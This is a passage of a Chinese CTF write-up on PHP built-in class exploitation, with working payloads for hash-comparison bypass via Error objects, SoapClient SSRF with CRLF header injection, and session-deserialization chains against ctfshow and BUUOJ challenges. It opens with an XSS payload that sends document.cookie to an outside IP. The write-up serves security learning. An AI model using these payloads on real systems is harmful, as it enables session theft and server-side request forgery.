? yds [ is_so_beautiful = O % 3 A9 % 3 A % 22 Exception % 22 % 3 A7 % 3 A % 7 Bs % 3 A10 % 3 A % 22 % 00 % 2 A % 00 message % 22 % 3 Bs % 3 A73 % 3 A % 22 % 3 Cscript % 3 Ewindow . open % 28 % 27 http % 3 A % 2 F % 2 F27 . 25.151 . 48 % 3 A9999 % 2 F % 27 % 2 Bdocument . cookie % 29 % 3 C % 2 Fscript % 3 E % 22 % 3 Bs % 3 A17 % 3 A % 22 % 00 Exception % 00 string % 22 % 3 Bs % 3 A0 % 3 A % 22 % 22 % 3 Bs % 3 A7 % 3 A % 22 % 00 % 2 A % 00 code % 22 % 3 Bi % 3 A0 % 3 Bs % 3 A7 % 3 A % 22 % 00 % 2 A % 00 file % 22 % 3 Bs % 3 A54 % 3 A % 22 C % 3 A % 5 CUsers % 5 Cbaozhongqi % 5 CDocuments % 5 CVSCODE % 5 C . vscode % 5 Cphp % 5 C1 . php % 22 % 3 Bs % 3 A7 % 3 A % 22 % 00 % 2 A % 00 line % 22 % 3 Bi % 3 A2 % 3 Bs % 3 A16 % 3 A % 22 % 00 Exception % 00 trace % 22 % 3 Ba % 3 A0 % 3 A % 7 B % 7 Ds % 3 A19 % 3 A % 22 % 00 Exception % 00 previous % 22 % 3 BN % 3 B % 7 D
成功拿到flag,我想着要是还拿不到的话就直接打源码了,但是所幸拿到了
绕过hash Error/Exception Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。
利用类的__toString()抛出错误,返回数据
1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
$str = 'baozongwi' ;
$a = new Error ( $str , 1 );
$b = new Error ( $str , 1 );
echo $a ;
echo $b ;
// Error: baozongwi in C:\Users\baozhongqi\Documents\VSCODE\php\index.php:3
// Stack trace:
// #0 {main}Error: baozongwi in C:\Users\baozhongqi\Documents\VSCODE\php\index.php:4
// Stack trace:
// #0 {main}
?>
这里当我们写在不同行的时候发现并不等,但是如果我们写在同一行中
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
$str = 'baozongwi' ;
$a = new Error ( $str , 1 ); $b = new Error ( $str , 3 );
if ( ( $a != $b ) && ( md5 ( $a ) === md5 ( $b )) && ( sha1 ( $a ) === sha1 ( $b )) ){
echo 1 ;
}
/*
echo $a . " \n " ;
echo $b ;
Error : baozongwi in C : \Users\baozhongqi\Documents\VSCODE\php\caogao . php : 3
Stack trace :
#0 {main}
Error : baozongwi in C : \Users\baozhongqi\Documents\VSCODE\php\caogao . php : 3
Stack trace :
#0 {main}
?>
深究其本质,当我们对一个对象调用 md5() 或 sha1() 时,PHP 会将对象序列化成字符串,并基于该字符串计算哈希值。但是由于 Error 类在实现字符串化方法(__toString)时,可能只是返回对象的错误消息 message 属性,而忽略了 code 等其他属性。
所以直接比较的话没有忽略属性,是不等的,而哈希比较的话是相等的
1
2
3
4
<? php
$a = new Error ( 'baozongwi' , 1 ); $b = new Error ( 'baozongwi' , 3 );
echo md5 ( $a ) . " \n " ;
echo md5 ( $b );
那么来个demo
[极客大挑战 2020]Greatphp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<? php
error_reporting ( 0 );
class SYCLOVER {
public $syc ;
public $lover ;
public function __wakeup (){
if ( ( $this -> syc != $this -> lover ) && ( md5 ( $this -> syc ) === md5 ( $this -> lover )) && ( sha1 ( $this -> syc ) === sha1 ( $this -> lover )) ){
if ( ! preg_match ( "/\<\?php|\(|\)| \" |\'/" , $this -> syc , $match )){
eval ( $this -> syc );
} else {
die ( "Try Hard !!" );
}
}
}
}
if ( isset ( $_GET [ 'great' ])){
unserialize ( $_GET [ 'great' ]);
} else {
highlight_file ( __FILE__ );
}
?>
md5好绕过了,取反得到flag
1
2
3
<? php
echo urlencode ( ~ '/flag' );
?>
写个poc
1
2
3
4
5
6
7
8
9
10
11
12
13
<? php
class SYCLOVER {
public $syc ;
public $lover ;
}
$str = "?><?=include~" . urldecode ( "%d0%99%93%9e%98" ) . "?><?" ;
$a = new Error ( $str , 1 ); $b = new Error ( $str , 2 );
$c = new SYCLOVER ();
$c -> syc = $a ;
$c -> lover = $b ;
echo urlencode ( serialize ( $c ));
?>
这里的绕过hash知识使用Exception也是同样能够达到目的的
ssrf SoapClient SoapClient 是一个专门用来访问web服务的类,可以提供一个基于SOAP 协议访问Web服务的 PHP 客户端。该内置类有一个 __call 方法,当 __call 方法被触发后,它可以发送 HTTP 和 HTTPS 请求。正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。
该类的构造函数如下:
1
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间。 但是要知道的是既然我们是打ssrf,那么wsdl肯定是不开的
随便写个poc
1
2
3
4
5
6
7
<? php
$a = new SoapClient ( null , array ( 'location' => 'http://27.25.151.48:2333/aaa' , 'uri' => 'http://27.25.151.48:2333' ));
$b = serialize ( $a );
echo $b ;
$c = unserialize ( $b );
$c -> a ();
?>
但是这样子的话利用效果仍然不大,仅仅只是触发恶意文件进行读取,但是如果还存在crlf漏洞的话,我们就可以插入HTTP头
1
2
3
4
5
6
7
8
<? php
$target = 'http://ip:2333/' ;
$a = new SoapClient ( null , array ( 'location' => $target , 'user_agent' => "WHOAMI \r\n Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4" , 'uri' => 'test' ));
$b = serialize ( $a );
echo $b ;
$c = unserialize ( $b );
$c -> a ();
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
root@dkcjbRCL8kgaNGz:~# nc -lvnp 2333
Listening on 0.0.0.0 2333
Connection received on ip 39598
POST /aaa HTTP/1.1
Host: ip:2333
Connection: Keep-Alive
User-Agent: WHOAMI
Cookie: PHPSESSID=tcjr6nadpk3md7jbgioa6elfk4
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://27.25.151.48:2333#a"
Content-Length: 385
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://27.25.151.48:2333" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:a/></SOAP-ENV:Body></SOAP-ENV:Envelope>
也是看到成功插入了,那么来看几个demo
ctfshow web入门 web259
flag.php
1
2
3
4
5
6
7
8
9
10
11
12
13
$xff = explode ( ',' , $_SERVER [ 'HTTP_X_FORWARDED_FOR' ]);
array_pop ( $xff );
$ip = array_pop ( $xff );
if ( $ip !== '127.0.0.1' ){
die ( 'error' );
} else {
$token = $_POST [ 'token' ];
if ( $token == 'ctfshow' ){
file_put_contents ( 'flag.txt' , $flag );
}
}
绕过这个三层IP限制就会写入文件
1
2
3
4
5
6
<? php
highlight_file ( __FILE__ );
$vip = unserialize ( $_GET [ 'vip' ]);
//vip can get flag one key
$vip -> getFlag ();
很明显的原生类啊
我们先绕过那个array_pop(),本身相当于我们打入多个IP被解析为数组之后,我们再利用array_pop()来移除数组的元素,再者来获取解析,所以写个demo试验一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<? php
// 模拟 HTTP_X_FORWARDED_FOR 请求头
// 你可以修改这个字符串来测试不同的输入情况
$_SERVER [ 'HTTP_X_FORWARDED_FOR' ] = '127.0.0.1,127.0.0.1' ;
// 打散为数组,用,分割
$xff = explode ( ',' , $_SERVER [ 'HTTP_X_FORWARDED_FOR' ]);
// 移除数组中的最后一个元素
array_pop ( $xff );
// 获取移除后的最后一个元素(即倒数第二个元素)
$ip = array_pop ( $xff );
// 输出解析出的 IP 地址
echo "解析出的 IP 地址是: $ip\n " ;
也就是成功绕过了,那么我们可以用SoapClient增加任意http头
写个poc
1
2
3
4
5
6
<? php
$target = "http://127.0.0.1/flag.php" ;
$UA = "ctfshow \r\n X-Forwarded-For:127.0.0.1,127.0.0.1 \r\n Content-Type:application/x-www-form-urlencoded \r\n Content-Length:13 \r\n\r\n token=ctfshow" ;
$b = new SoapClient ( null , array ( 'location' => $target , 'user_agent' => $UA , 'uri' => "http://127.0.0.1/" ));
$a = serialize ( $b );
echo urlencode ( $a );
这里有个小细节就是\r\n的解析问题,你如果写单引号的话是不能够正常解析的,而我Python写多了,就习惯写单引号了,所以折腾了一会
demo bestphp’s revenge
1
2
3
4
5
6
7
8
9
10
11
12
<? php
highlight_file ( __FILE__ );
$b = 'implode' ;
call_user_func ( $_GET [ 'f' ], $_POST );
session_start ();
if ( isset ( $_GET [ 'name' ])) {
$_SESSION [ 'name' ] = $_GET [ 'name' ];
}
var_dump ( $_SESSION );
$a = array ( reset ( $_SESSION ), 'welcome_to_the_lctf2018' );
call_user_func ( $b , $a );
?>
flag.php
1
only localhost can get flag ! session_start (); echo 'only localhost can get flag!' ; $flag = 'LCTF{*************************}' ; if ( $_SERVER [ "REMOTE_ADDR" ] === "127.0.0.1" ){ $_SESSION [ 'flag' ] = $flag ; } only localhost can get flag !
这里可以调用两个东西,那么看到session很容易猜到我们可以自己手动构造一个session反序列化漏洞,方便等会利用SoapClient
先写个poc
1
2
3
4
5
<? php
$target = "http://127.0.0.1/flag.php" ;
$b = new SoapClient ( null , array ( 'location' => $target , 'user_agent' => "bao \r\n Cookie:PHPSESSID=baozongwi \r\n " , 'uri' => "http://127.0.0.1/" ));
$a = urlencode ( serialize ( $b ));
echo "|" . $a ;
首先默认引擎是php,我们设置成php_serialize,同时写入请求等待触发
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?f=session_start&name=|O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A17%3A%22http%3A%2F%2F127.0.0.1%2F%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A23%3A%22bao%0D%0ACookie%3Abaozongwi%0D%0A%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D HTTP/1.1
Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=4bi9mnfonhkrth0isn77b2u1k6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 31
serialize_handler=php_serialize
然后变量覆盖使得触发不存在的方法
1
call_user_func ( call_user_func , array ( 'SoapClient' , 'welcome_to_the_lctf2018' ));
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /?f=extract&name=SoapClient HTTP/1.1
Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=4bi9mnfonhkrth0isn77b2u1k6
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 16
b=call_user_func
最后根据session特性,访问即可
1
2
3
4
5
6
7
8
9
10
11
GET / HTTP/1.1
Host: c818c5d3-ecfa-4f94-b98c-351d187d3305.node5.buuoj.cn:81
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=baozongwi
Connection: close
就这样就可以了,中途还是有一点点绕,主要就是要想到这个session和crlf怎么联系在一起(通过session_id),然后正常打ssrf就可以了,方法的触发也一会就想得到
利用时机 看了这么多demo,应该大概知道利用时机了吧,
比如说disable_function禁用函数过多,只能进行类的调用触发方法来达到目的,又或者说代码非常少,并且其中已经明显的看得出来能够触发那些特殊方法,再逆序寻找可利用的原生类
0x03 小结 原生类可以搞到这么多事情,同时其中也有部分的xss部分,但是我的xss暂时不是很擅长,可以说是提醒我了,学到了一些东西
0x04 Reference 网上的文章都有查阅,感谢师傅们!